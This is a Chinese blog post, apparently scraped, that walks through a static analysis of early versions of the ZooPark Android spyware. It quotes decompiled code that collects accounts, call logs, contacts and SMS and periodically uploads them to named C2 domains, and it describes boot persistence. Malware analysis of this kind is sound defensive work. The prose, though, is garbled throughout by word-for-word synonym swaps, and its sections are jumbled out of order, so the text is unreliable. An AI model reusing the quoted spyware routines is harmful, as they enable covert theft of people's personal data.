ZooPark:Android逆向之静态分析

跟上面不一样的是,这个哀求在这个计划义务中,延迟1s履行,随后每3s提议一次哀求Timer* A facility for threads to schedule tasks for future execution in a background thread.也便是用来孕育发生后台线程义务的一个对象类

[5] 继承开启计划义务,然则这里应用的是空字符串_baseUrl,来作为C2地址上传设备ID,账户信息,按理说弗成能呈现这种掉误,以是搜索一下这个字符串,看它是不是在前面进行了赋值

找到了赋值的地方,AsyncHttpPostGetURL->onPostExecute(),这个措施是在后台措施doInBackground调用完成后履行,并且将后台措施履行的结果作为参数传入这个措施中,也便是将造访http://entekhab10.xp3.biz/ent/index.php后的响应数据以#####分开后取后面的字符串值,然后对其进行base64解码,获得真实C2地址,由于http://entekhab10.xp3.biz/ent/index.php站点已经挂了,根据申报知道C2地址为www.rhubarb2.com

[8] 着末,点击两个按钮都邑进行上面的行径,上传用户和设备信息

V2

1、 是否加固过,肴杂过未加固、未肴杂

2、看安装包目录布局,看是否有特其余文件,记录下来方便后面的阐发没有特其余文件

3、看清单文件

开始阐发代码

[1] 清单文件中可以看到在这里静态注册了开机启动广播接管器BootReceiver,大年夜致历程是:先哀求可以接管android.intent.action.BOOT_COMPLETED这个action的权限,这样设备完成开灵便作时会广播一条android.intent.action.BOOT_COMPLETED,广播有权限可以接管到,一旦收到,就履行onReceiver措施

[2] 进入广播接管器,这个onReceiver措施只干了一件事每便是打开MainService办事

[1] [2] [3] [4]下一页

[3] startService措施打创办事的历程:假如不存在该办事,先创建在履行,没有onCreate措施(办事创建时履行),有onStartCommand措施

ZooPark是一个针对中东的APT组织,截至2017年,已经成长到了4.0版本,本次阐发的主要版本是V1-V3,因为第四版本对照繁杂,放在后面零丁阐发此次的阐发,主要也是一个认识静态阐发的历程,不涉及脱壳、动态调试、反肴杂等,可所以一个入门篇章吧

对象:JEB1.5

V1

阐发之前,我们必要理清思路,简单的样本可以直接钻进去,打通它,然则现在的样本都不简单,以是开始之前,必要筹划好思路,一步步走,做好记录,V1-V2版本对照简单,做一简单的思路向导:

1、 是否加固过,肴杂过未加固、未肴杂

2、看安装包目录布局,看是否有特其余文件,记录下来方便后面的阐发没有特其余文件

3、 看清单文件,静态注册了哪些广播接管器没有静态注册广播

开始阐发代码

[1] 看清单文件AndroidManifest.xml中,进口活动,每个进口活动共有的intent-filter属性

[2] 进入进口活动,MainActivity,直接看onCreate措施(活动开启,履行的措施),调用自定义实现的AsyncHttpPostGetURL类(extends AsyncTask)的execute措施,传入参数this._getbaseurl,即http://entekhab10.xp3.biz/ent/index.php,根据[2],execute传入的参数,传入doInBackground措施(用于履行较为费时的操作,此措施将接管输入参数和返回谋略结果)

[3] doInBackground中,http哀求http://entekhab10.xp3.biz/ent/index.php,并且由于AsyncHttpPostGetURL传入的参数HashMap为空,空值传入到变量v2,着末被赋值设置成v5的关联实体,也便是url后面带的多余参数,着末假如从这个地址获取到数据,赋给v9并返回,根据2.png中的波斯文,也便是反省收集是否连接的

[4] 延迟1s履行义务,这个义务是,先反省判断收集连接状态,假如收集无连接就返回,这里的有判断_baseUrl长度,然则它构造函数履行是赋值为空连接正常,然后跟上面一样,后台提议一个造访http://entekhab10.xp3.biz/ent/index.php的哀求,参数继承为空获取设备ID,设备位置信息,然后根据不合字段构造带有特定命据的信息到C2地址

info:各类设备信息、收集信息、SIM卡信息、位置信息等(详情可以根据里面的API措施在在网上查找)

cont:获取联系人信息

acco:获取账户信息(设置->添加账户,那里添加的账户信息)

//获取所有可以造访的账户工具

v1 = AccountManager.get(((Context)this)).getAccounts();

//轮回账户列表,构造带有字段名(Name$、$Account$)加上账户类型,名称

while(v4_1 String.valueOf(v2) + “Name$” + v1[v4_1].type.toString() + “$Account$” + v1[v4_1]

.name.toString() + “$”;

++v4_1;

sms: 设备中的短信数据

cal:用户电话呼叫数据,号码

//查询这个uri

Cursor v12 = this.getContentResolver().query(Uri.parse(“content://call_log/calls”), null,

null, null, “date DESC”);

//构造带有电话呼叫的数据的字符串

v20.append(“Phone Number$” + v19 + “$Call Type$” + v14 + “$Call Date$” + v9 + “$Call duration$”

+ v10 + “$”);

pic:base64编码zoo.zoo文件

根据12.png中的唆使,将规定字段数据上传到C2

[4] 延迟5s,上传pic字段的数据,也便是base64编码过的zoo.zoo文件数据

new Handler().postDelayed(new Runnable() {

public void run() {

try {

String v0 = MainService.this.getUserid();

if(!MainService.this.isConnected()) {

return;

}

MainService.this.postUser(v0, “pic”);

}

catch(Exception v1) {

}

}

}, v8); //v8=5000

[5]启动一个计划义务,延迟1s后履行:上传这四个字段的数据,然后每过900s上传一次

new Timer().schedule(new TimerTask() {

上一页[1] [2] [3] [4]下一页

static MainService access$0(com.app.postrall.MainService$2 arg1) {

return arg1.this$0;

}

public void run() {

this.val$handler2.post(new Runnable() {

public void run() {

try {

if(!this.this$1.this$0.isConnected()) {

return;

}

String v0 = this.this$1.this$0.getUserid();

//上传这些字段的数据

this.this$1.this$0.postUser(v0, “info”);

this.this$1.this$0.postUser(v0, “cont”);

this.this$1.this$0.postUser(v0, “acco”);

this.this$1.this$0.postUser(v0, “sms”);

this.this$1.this$0.postUser(v0, “cal”);

}

catch(Exception v1) {

}

}

});

}

}, v2, 900000); //v2=1000

[6] 先构造带有KeyKey为dafak,和设备ID数据的C2http://www.rhubarb3.com/地址,根据返回结果获取一个字段延迟上传特定命据

[7] 清单文件中静态广播履行的一系列行径阐发完毕,进入进口类MainActivity的onCreate措施阐发,主要就一个行径,便是开启办事MainService

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

this.setContentView(2130903040);

this.StartMyService();

if(!this.isConnected()) {

this.ShowAlert(“Please Connect Internet”);

}

else {

this.ShowAlert(“Please Wait To Update”);

}

上一页[1] [2] [3] [4]下一页

}

public void StartMyService() {

try {

this._checkAllPermision();//反省是否获取了所有哀求的权限,假如没有,提议哀求

this.startService(new Intent(((Context)this), MainService.class));

}

catch(Exception v1) {

}

}

可以从证手札息中的肇端日期,大年夜致确定样本的流出光阴

小结:V2版本的样本主要便是构造带有设备数据的url,造访C2地址,比第一个版本获取的数据更富厚一些

总结

找准关键API,不要过于追求细节,轻易钻牛角尖

阐发功能措施时,完备阐发他的每个功能,以免遗漏落关键点

上一页[1] [2] [3] [4]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包